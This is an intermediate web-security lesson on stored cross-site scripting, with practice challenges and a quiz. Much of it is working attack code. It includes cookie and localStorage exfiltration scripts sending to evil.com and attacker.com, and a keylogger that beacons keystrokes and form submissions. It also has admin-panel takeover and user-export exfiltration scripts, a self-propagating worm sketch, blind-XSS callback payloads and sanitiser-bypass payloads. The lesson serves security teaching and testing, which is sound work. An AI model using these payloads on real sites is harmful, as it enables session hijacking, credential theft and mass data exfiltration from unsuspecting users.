Stored XSS

intermediate30 minWriteup

Exploiting persistent cross-site scripting for maximum impact

Learning Objectives

  • Understand stored XSS attacks
  • Find stored XSS entry points
  • Exploit stored XSS vulnerabilities
  • Chain XSS for account takeover

The Gift That Keeps on Giving

If reflected XSS is throwing a punch, stored XSS is planting a landmine. You set it once, and it detonates every time someone walks by. No social engineering needed after the initial setup - every visitor becomes a victim automatically.

Stored XSS (also called Persistent XSS) occurs when your malicious payload is saved by the application - in a database, file system, or anywhere persistent - and later displayed to other users. It's the most dangerous form of XSS because it scales: one injection, thousands of victims.

Building on , we'll explore how persistence changes the attack dynamics and dramatically increases impact.

The Attack Flow

Unlike reflected XSS where the payload round-trips with each request, stored XSS separates the injection from the execution:

1PHASE 1: INJECTION (Attacker)
2─────────────────────────────
31. Attacker finds input that gets stored
4 Example: Comment form, profile bio, forum post
5 
62. Attacker submits malicious payload
7 POST /api/comments
8 {606070;">#a5d6ff;">"body": "<script>stealCookies()</script>"}
9 
103. Server stores payload in database
11 INSERT INTO comments (body) VALUES (606070;">#a5d6ff;">'<script>stealCookies()</script>')
12 
13PHASE 2: EXECUTION (Every Victim)
14──────────────────────────────────
151. Innocent user visits the page
16 GET /post/123/comments
17 
182. Server retrieves comments from database
19 SELECT body FROM comments WHERE post_id = 123
20 
213. Server includes malicious comment in HTML
22 <div class=606070;">#a5d6ff;">"comment">
23 <script>stealCookies()</script>
24 </div>
25 
264. Victim's browser executes the script
27 - Runs in context of the trusted domain
28 - Has access to victim's cookies/session
29 - Attacker receives stolen data
30 
31IMPACT COMPARISON:
32Reflected XSS: 1 payload → 1 victim (per click)
33Stored XSS: 1 payload → unlimited victims (forever, until removed)
Stored XSS on a popular page can compromise thousands of users within hours. On social media platforms, it can go viral as users interact with infected content.

Where to Find Stored XSS

Any feature that saves user content and displays it to others is a potential stored XSS vector:

Classic Targets

1HIGH-VALUE TARGETS (Often visited by many users)
2────────────────────────────────────────────────
3• Comments & Reviews
4• Forum posts & replies
5• Blog posts & articles
6• Chat messages
7• Profile descriptions/bios
8• Status updates
9 
10MEDIUM-VALUE TARGETS
11─────────────────────
12• Product names & descriptions
13• File/document names
14• Playlist/album names
15• Group/channel names
16• Tags & labels
17• Custom URL slugs
18 
19OVERLOOKED TARGETS (Often less sanitized)
20────────────────────────────────────────────
21• Error logs viewed by admins
22• Feedback/contact forms
23• Support ticket systems
24• Email subjects/bodies (webmail)
25• Notification content
26• Import/export features (CSV, XML)
27• Analytics dashboards (if they display user data)
Admin panels are juicy targets! If your XSS executes when an admin views user data (support tickets, logs, reports), you might steal admin sessions or perform admin actions.

Real-World Examples

1EXAMPLE 1: FORUM COMMENT
2─────────────────────────
3Input: Comment text area
4Payload: Great article! <script>fetch(606070;">#a5d6ff;">'https://evil.com/steal?c='+document.cookie)</script>
5Impact: Every reader of the thread is compromised
6 
7EXAMPLE 2: PROFILE NAME
8────────────────────────
9Input: Display name field
10Payload: John<img src=x onerror=606070;">#a5d6ff;">"stealCookies()">Doe
11Impact: Anyone who sees your name (friend lists, comments, leaderboards) is compromised
12 
13EXAMPLE 3: FILE UPLOAD NAME
14───────────────────────────
15Input: Uploaded file's metadata
16Payload: filename=606070;">#a5d6ff;">"<svg onload=alert(1)>.jpg"
17Impact: When filename is displayed (file listings, admin panels), XSS triggers
18 
19EXAMPLE 4: USER-AGENT LOG
20─────────────────────────
21Input: HTTP User-Agent header
22Payload: User-Agent: <script>stealAdminSession()</script>
23Impact: If admin views analytics/logs that display User-Agent strings, their session is stolen

Second-Order (Blind) Stored XSS

Sometimes your payload is stored but you never see it execute. It triggers somewhere else - maybe in an admin panel, a different application, or a report you don't have access to. This is called second-order or blind stored XSS.

1SECOND-ORDER XSS FLOW
2─────────────────────
31. You inject payload into Application A (e.g., contact form)
42. Payload is stored in shared database
53. Application B reads from same database (e.g., admin dashboard)
64. Your payload executes in Application B
75. You never see the execution directly
8 
9COMMON SCENARIOS:
10• Contact form → Support ticket system (admin sees it)
11• User registration → Admin user management panel
12• Error messages → Centralized logging dashboard
13• API requests → Developer debugging tools
14• Comments → Content moderation queue
15 
16DETECTION TECHNIQUE:
17Use out-of-band payloads that call back to you:
18<script>fetch(606070;">#a5d6ff;">'https://YOUR-SERVER/xss?'+document.domain)</script>
19<img src=606070;">#a5d6ff;">"https://YOUR-SERVER/xss?'+document.domain">
20 
21When you see a request, you know XSS executed somewhere!
Tools like Burp Collaborator, XSSHunter, or your own server with logging help detect blind XSS. Inject everywhere, wait for callbacks.

Advanced Exploitation

Because stored XSS runs automatically on every page load, you can do more sophisticated attacks:

XSS Worm (Self-Propagating)

javascript
1606070;">// Samy Worm concept (MySpace, 2005)
2606070;">// This XSS copies itself to every viewer's profile!
3 
4<script>
5606070;">// Get current user's profile ID
6var myId = document.getElementById(606070;">#a5d6ff;">'profile').dataset.userId;
7 
8606070;">// Create the payload that includes this script
9var payload = 606070;">#a5d6ff;">"<script>/* worm code here */<\/script>";
10 
11606070;">// Send friend request to attacker
12fetch(606070;">#a5d6ff;">'/api/friend/' + 'ATTACKER_ID', {method: 'POST'});
13 
14606070;">// Update victim's profile to spread the worm
15fetch(606070;">#a5d6ff;">'/api/profile/' + myId, {
16 method: 606070;">#a5d6ff;">'POST',
17 body: JSON.stringify({bio: 606070;">#a5d6ff;">"But most of all, Samy is my hero" + payload})
18});
19</script>
20 
21606070;">// Samy infected 1 million MySpace profiles in 20 hours!
XSS worms are highly illegal on production systems. The Samy worm creator was convicted of a felony. Only test this on your own controlled environments!

Persistent Session Hijacking

javascript
1<script>
2606070;">// Instead of one-time cookie theft,
3606070;">// maintain persistent access:
4 
5setInterval(function() {
6 606070;">// Every 30 seconds, send current cookies
7 fetch(606070;">#a5d6ff;">'https://attacker.com/collect', {
8 method: 606070;">#a5d6ff;">'POST',
9 body: JSON.stringify({
10 url: window.location.href,
11 cookies: document.cookie,
12 localStorage: JSON.stringify(localStorage),
13 timestamp: new Date().toISOString()
14 })
15 });
16}, 30000);
17</script>

Keylogger Injection

javascript
1<script>
2var keys = 606070;">#a5d6ff;">'';
3document.addEventListener(606070;">#a5d6ff;">'keypress', function(e) {
4 keys += e.key;
5 606070;">// Send every 20 characters
6 if (keys.length >= 20) {
7 navigator.sendBeacon(606070;">#a5d6ff;">'https://attacker.com/keys', keys);
8 keys = 606070;">#a5d6ff;">'';
9 }
10});
11 
12606070;">// Also capture form submissions
13document.querySelectorAll(606070;">#a5d6ff;">'form').forEach(f => {
14 f.addEventListener(606070;">#a5d6ff;">'submit', function() {
15 var data = new FormData(f);
16 fetch(606070;">#a5d6ff;">'https://attacker.com/form', {
17 method: 606070;">#a5d6ff;">'POST',
18 body: JSON.stringify(Object.fromEntries(data))
19 });
20 });
21});
22</script>

Admin Action Automation

javascript
1606070;">// If XSS executes in admin panel, automate admin actions:
2<script>
3606070;">// Make attacker an admin
4fetch(606070;">#a5d6ff;">'/admin/users/attacker@evil.com/promote', {
5 method: 606070;">#a5d6ff;">'POST',
6 headers: {606070;">#a5d6ff;">'Content-Type': 'application/json'},
7 body: JSON.stringify({role: 606070;">#a5d6ff;">'admin'})
8});
9 
10606070;">// Or exfiltrate all users
11fetch(606070;">#a5d6ff;">'/admin/users/export')
12 .then(r => r.text())
13 .then(data => {
14 fetch(606070;">#a5d6ff;">'https://attacker.com/exfil', {
15 method: 606070;">#a5d6ff;">'POST',
16 body: data
17 });
18 });
19</script>

Bypassing Stored XSS Defenses

Because stored content often goes through more processing, there are unique bypass opportunities:

Encoding Mutations

1INPUT → STORED → OUTPUT
2Data may be encoded/decoded differently at each stage
3 
4EXAMPLE:
51. You submit: &lt;script&gt;
62. Stored as: <script> (HTML decoded for storage)
73. Output as: <script> (not re-encoded!)
84. XSS!
9 
10TEST BOTH:
11- HTML entities: &lt;script&gt;
12- URL encoding: %3Cscript%3E
13- Unicode: \u003cscript\u003e
14- Double encoding: %253Cscript%253E

Rich Text Editor Bypass

html
1<!-- Rich text editors often 606070;">#a5d6ff;">"clean" HTML but miss edge cases -->
2 
3<!-- SVG with embedded script -->
4<svg><script>alert(1)</script></svg>
5 
6<!-- Style tag with expression (legacy IE) -->
7<style>*{background:url(606070;">#a5d6ff;">"javascript:alert(1)")}</style>
8 
9<!-- Link with javascript: -->
10<a href=606070;">#a5d6ff;">"javascript:alert(1)">Click</a>
11 
12<!-- Using data: URIs -->
13<a href=606070;">#a5d6ff;">"data:text/html,<script>alert(1)</script>">X</a>
14 
15<!-- Object/embed tags -->
16<object data=606070;">#a5d6ff;">"javascript:alert(1)">
17<embed src=606070;">#a5d6ff;">"javascript:alert(1)">
18 
19<!-- Mutation XSS (mXSS) - browser 606070;">#a5d6ff;">"fixes" HTML into XSS -->
20<noscript><p title=606070;">#a5d6ff;">"</noscript><script>alert(1)</script>">

Character Set Issues

1UTF-7 XSS (if charset not specified):
2+ADw-script+AD4-alert(1)+ADw-/script+AD4-
3 
4This decodes to <script>alert(1)</script> in UTF-7!
5 
6Defense: Always specify charset:
7Content-Type: text/html; charset=utf-8

Testing Methodology

Stored XSS Hunting

1
Map All Storage Points
  • List every feature that saves user input
  • Note where stored content is displayed
  • Consider admin/backend views too
2
Inject Unique Identifiers
  • Use unique strings like xss-test-123-comment
  • Track where each identifier appears
  • Note any encoding changes
3
Test Basic Payloads
  • Start with <script>alert(document.domain)</script>
  • Try event handlers if scripts blocked
  • Test in ALL places where content appears
4
Check Different Contexts
  • Same content may appear in different contexts
  • Profile page vs comment section vs email notification
  • Different contexts need different payloads
5
Test for Blind XSS
  • Use callback payloads (XSSHunter, Burp Collaborator)
  • Inject in less obvious places (User-Agent, Referrer)
  • Wait - some XSS triggers days/weeks later

Blind XSS Payloads

javascript
1606070;">// Basic callback
2"><script src=https:606070;">//YOUR-SERVER/xss.js></script>
3 
4606070;">// Image beacon
5606070;">#a5d6ff;">"><img src=https://YOUR-SERVER/xss?d="+document.domain+">
6 
7606070;">// XSSHunter style payload (captures more data)
8"><script>
9var x=new Image();
10x.src=606070;">#a5d6ff;">'https://YOUR-SERVER/xss?'+encodeURIComponent(
11 JSON.stringify({
12 dom: document.domain,
13 url: location.href,
14 cookies: document.cookie,
15 html: document.body.innerHTML.substring(0,1000)
16 })
17);
18</script>

Practice Challenges

Comment Section XSS

Challenge
🔥 medium

A blog's comment section: - Allows <b>, <i>, <u>, <a> tags - Strips all event handlers (onclick, onerror, etc.) - Strips <script>, <iframe>, <object> tags - Allows href attribute on <a> tags Find a way to execute JavaScript.

Need a hint? (4 available)

Admin Panel Blind XSS

Challenge
🔥 medium

A contact form submits to /api/contact with: {"name": "...", "email": "...", "message": "..."} You suspect messages are viewed in an admin panel at /admin/tickets. You don't have admin access to verify if XSS executes. Design a payload that will confirm XSS and exfiltrate admin data.

Need a hint? (4 available)

Profile Bio Worm

Challenge
🔥 medium

A social platform lets users set a bio. Bios are displayed: - On your profile page - In search results - When hovering over your name in comments Bios allow HTML but strip <script> tags and on* attributes. However, <style> tags are allowed for "formatting." Design a proof-of-concept that would theoretically spread to other users. (Don't actually create self-replicating code!)

Need a hint? (4 available)

Knowledge Check

Stored XSS Quiz
Question 1 of 5

Why is stored XSS typically more dangerous than reflected XSS?

Key Takeaways

  • Stored XSS persists - inject once, compromise every future visitor to that page
  • Target high-traffic features: comments, profiles, chat messages, forum posts
  • Don't forget admin panels - XSS in logs, support tickets, or user management is extremely high impact
  • Blind XSS requires callbacks - use tools like XSSHunter or your own server to detect execution
  • XSS worms can go viral - self-propagating XSS spreads exponentially (and is very illegal on production systems)

Related Lessons